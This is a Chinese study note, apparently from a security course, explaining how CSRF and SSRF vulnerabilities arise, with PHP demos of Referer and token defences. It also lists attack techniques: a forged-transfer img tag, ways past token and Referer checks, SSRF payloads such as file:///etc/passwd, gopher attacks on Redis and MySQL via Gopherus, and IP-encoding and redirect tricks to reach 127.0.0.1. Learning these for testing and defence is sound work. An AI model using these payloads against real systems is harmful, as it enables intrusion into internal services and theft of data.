CSRF,全称 Cross-Site Request Forgery,跨站请求伪造漏洞

一句话说:

攻击者诱导已经登录的用户,在不知情的情况下,用自己的身份向目标网站发送请求。

重点是:

请求是用户浏览器发出的,所以会自动带上用户的 Cookie。

在学习这个漏洞如何利用前,先学习一下这个漏洞如何产生的。

SSRF,全称 Server-Side Request Forgery,服务端请求伪造漏洞

一句话说:

攻击者让服务器替自己去访问某个地址。

重点不是“攻击者自己访问”,

而是:攻击者控制了服务器发起请求的目标,使服务器去访问原本攻击者无法直接访问的资源

一、CSRF 是怎么产生的?

假设你已经登录了一个网站,比如:

https://bank.example.com

浏览器里保存了这个网站的登录 Cookie。

如果这个网站有一个转账接口:

https://bank.example.com/transfer?to=attacker&money=1000

并且网站只根据 Cookie 判断你是不是登录用户,那么攻击者就可以在另一个网页里放一个请求:

<img src="https://bank.example.com/transfer?to=attacker&money=1000">

你访问攻击者网页时,浏览器会自动请求这个地址。

关键问题来了:

浏览器会自动带上 bank.example.com 的 Cookie

所以目标网站会以为:

这是你本人发起的转账请求

这就是 CSRF。

CSRF 成立通常需要几个条件:

1. 用户已经登录目标网站
2. 登录状态依赖 Cookie
3. 攻击者能诱导用户访问恶意页面
4. 目标网站没有校验请求是否真的来自用户本人操作

所以 CSRF 的本质是:

利用浏览器自动携带 Cookie 的机制,伪造用户身份发请求。

CSRF 和 XSS 的区别:

很多人容易混。

漏洞 攻击发生在哪里 借用谁的能力 核心区别
XSS 目标网站页面里执行恶意 JS 用户浏览器执行脚本 攻击者能在页面里跑代码
CSRF 第三方页面诱导请求 用户已登录身份和 Cookie 攻击者不一定能看到响应,只是伪造请求

简单记:

XSS:攻击者让你的浏览器执行恶意代码
CSRF:攻击者让你的浏览器替你发请求

二、CSRF的攻击利用

1、无检测防护下

检测:黑盒手工利用测试,白盒看代码检验(有无token,来源检验等)

生成:BurpSuite->Engagement tools->Generate CSRF Poc

利用:将文件防止自己的站点下,诱使受害者访问(或配合XSS触发访问)

2、Referer同源检查条件下

参考:CSRF攻击绕过策略与防范技术-CSDN博客

我们先看一下检测来源大概是什么样子的:

严谨代码PHP DEMO:
<?php
// 检测来源
function checkReferrer() {
    $expectedReferrer = "http://example.com"; // 期望的来源页面

    if (!isset($_SERVER['HTTP_REFERER']) || $_SERVER['HTTP_REFERER'] !== $expectedReferrer) {
        die("非法访问");
    }
}

// 处理表单提交
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    // 检测来源
    checkReferrer();

    // 获取用户输入的数据
    $name = $_POST['name'];
    $email = $_POST['email'];

    // 输出用户输入的数据
    echo "姓名:$name<br>";
    echo "邮箱:$email<br>";
    exit;
}
?>

<!DOCTYPE html>
<html>
<head>
    <title>检测来源示例</title>
</head>
<body>
    <h1>检测来源示例</h1>
    <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
        <label for="name">姓名:</label>
        <input type="text" name="name" id="name" required />
        <br>
        <label for="email">邮箱:</label>
        <input type="email" name="email" id="email" required />
        <br>
        <input type="submit" value="提交" />
    </form>
</body>
</html>

绕过方法:

绕过0:规则匹配绕过问题(代码逻辑不严谨)

1、<meta name="referrer" content="no-referrer">

2、http://xx.xx.xx.xx/http://xx.xx.xx.xx

绕过1:配合文件上传绕过(严谨使用同源绕过)

绕过2:配合存储XSS绕过(严谨使用同源绕过)

3、Token校验

参考:https://blog.csdn.net/weixin_50464560/article/details/120581841

严谨代码PHP DEMO:
<?php
session_start();

// 生成并存储 CSRF Token
function generateCSRFToken() {
    $token = bin2hex(random_bytes(32));
    $_SESSION['csrf_token'] = $token;
    return $token;
}

// 检查 CSRF Token 是否有效
function validateCSRFToken($token) {
    return isset($_SESSION['csrf_token']) && $_SESSION['csrf_token'] === $token;
}

// 处理表单提交
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    // 检查 CSRF Token
    if (!isset($_POST['csrf_token']) || !validateCSRFToken($_POST['csrf_token'])) {
        die("CSRF Token 验证失败");
    }

    // 获取用户输入的数据
    $name = $_POST['name'];
    $email = $_POST['email'];

    // 输出用户输入的数据
    echo "姓名:$name<br>";
    echo "邮箱:$email<br>";
    exit;
}

// 生成 CSRF Token
$csrfToken = generateCSRFToken();
?>

<!DOCTYPE html>
<html>
<head>
    <title>CSRF Token 示例</title>
</head>
<body>
    <h1>CSRF Token 示例</h1>
    <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
        <input type="hidden" name="csrf_token" value="<?php echo $csrfToken; ?>" />
        <label for="name">姓名:</label>
        <input type="text" name="name" id="name" required />
        <br>
        <label for="email">邮箱:</label>
        <input type="email" name="email" id="email" required />
        <br>
        <input type="submit" value="提交" />
    </form>
</body>
</html>

绕过方法:

绕过0:将Token参数值复用(代码逻辑不严谨)

绕过1:将Token参数删除(代码逻辑不严谨)

绕过2:将Token参数值置空(代码逻辑不严谨)

二、SSRF

1、SSRF是怎么产生的?

很多网站会提供“根据用户输入的 URL 去请求资源”的功能,比如:

输入图片 URL,服务器帮你下载图片
输入网页 URL,服务器帮你生成截图
输入接口地址,服务器帮你测试连通性
输入 RSS 地址,服务器帮你解析内容

比如后端代码逻辑类似:

$url = $_GET['url'];
$content = file_get_contents($url);
echo $content;

如果用户传入:

https://example.com/image.png

服务器会去请求这个正常图片。

但如果用户传入的是服务器内网地址:

http://127.0.0.1:8080

那服务器就可能去访问它自己的本地服务。

这就是 SSRF 的核心。

2、为什么 SSRF 危险?

因为服务器通常处在比攻击者更“有权限”的网络环境里。

攻击者在公网,可能访问不了:

127.0.0.1
localhost
内网 IP
云服务器元数据接口
Redis / MySQL / Elasticsearch 等内网服务
后台管理接口

但服务器可以访问。

所以 SSRF 的本质是:

利用服务器的网络位置和权限,让服务器帮攻击者访问敏感资源。

3、SSRF漏洞原理

SSRF(Server-Side Request Forgery:服务器端请求伪造)

一种由攻击者构造形成由服务端发起请求的一个安全漏洞;

一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。

(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)

SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。

四、SSRF黑白盒漏洞分析与利用

1、黑盒探针

-业务功能点

1.社交分享功能:获取超链接的标题等内容进行显示

2.转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览

3.在线翻译:给网址翻译对应网页的内容

4.图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过URL地址加载或下载图片

5.图片/文章收藏功能:主要其会取URL地址中title以及文本的内容作为显示以求一个好的用具体验

6.云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试

7.网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作

8.数据库内置功能:数据库的比如mongodb的copyDatabase函数

9.邮件系统:比如接收邮件服务器地址

10.编码处理, 属性信息处理,文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等

11.未公开的api实现以及其他扩展调用URL的功能:可以利用google 语法加上这些关键字去寻找SSRF漏洞

-URL关键参数

share

wap

url

link

src

source

target

u

display

sourceURl

imageURL

domain

2、白盒代码审计

重点找文件读取加载数据操作类的函数

3、SSRF伪协议利用

http://  Web常见访问,如http://127.0.0.1

file:/// 从文件系统中获取文件内容,如,file:///etc/passwd

dict:// 字典服务器协议,访问字典资源,如,dict:///ip:6739/info:

sftp:// SSH文件传输协议或安全文件传输协议

ldap:// 轻量级目录访问协议

tftp:// 简单文件传输协议

gopher:// 分布式文档传递服务,可使用gopherus生成payload

由于有部分协议http这类不支持,可以gopher来进行通讯(mysql,redis等)

应用:漏洞利用 或 信息收集 通讯相关服务的时候 工具:Gopherus

五、SSRF绕过方式

-限制为http://www.xxx.com 域名

采用http基本身份认证的方式绕过,即@

http://www.xxx.com@www.xxyy.com

-限制请求IP不为内网地址

当不允许ip为内网地址时:

(1)采取短网址绕过

(2)采取域名解析

(3)采取进制转换

(4)采取3XX重定向

1、无过滤直接获取

url=http://127.0.0.1/flag.php

2、IP地址进制绕过

十六进制

 url=http://0x7F.0.0.1/flag.php

八进制

  url=http://0177.0.0.1/flag.php

10 进制整数格式

url=http://2130706433/flag.php

16 进制整数格式,还是上面那个网站转换记得前缀0x

  url=http://0x7F000001/flag.php

还有一种特殊的省略模式

 127.0.0.1写成127.1

用CIDR绕过localhost

 url=http://127.127.127.127/flag.php

还有很多方式

  url=http://0/flag.php

  url=http://0.0.0.0/flag.php

3、域名解析IP绕过

test.xiaodi8.com -> 127.0.0.1

url=http://test.xiaodi8.com/flag.php

4、长度限制IP绕过

url=http://127.1/flag.php

5、长度限制IP绕过

url=http://0/flag.php

6、利用重定向解析绕过

<?php

header("Location:http://127.0.0.1/flag.php");

url=http://47.94.236.117/xx.php

7、匹配且不影响写法解析

url=http://ctf.@127.0.0.1/flag.php?show

8、利用gopher协议打服务

https://github.com/tarunkant/Gopherus

d:Python2.7\python.exe gopherus.py --exploit mysql

d:Python2.7\python.exe gopherus.py --exploit redis

注:笔记参考小迪安全

Logo

openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构

更多推荐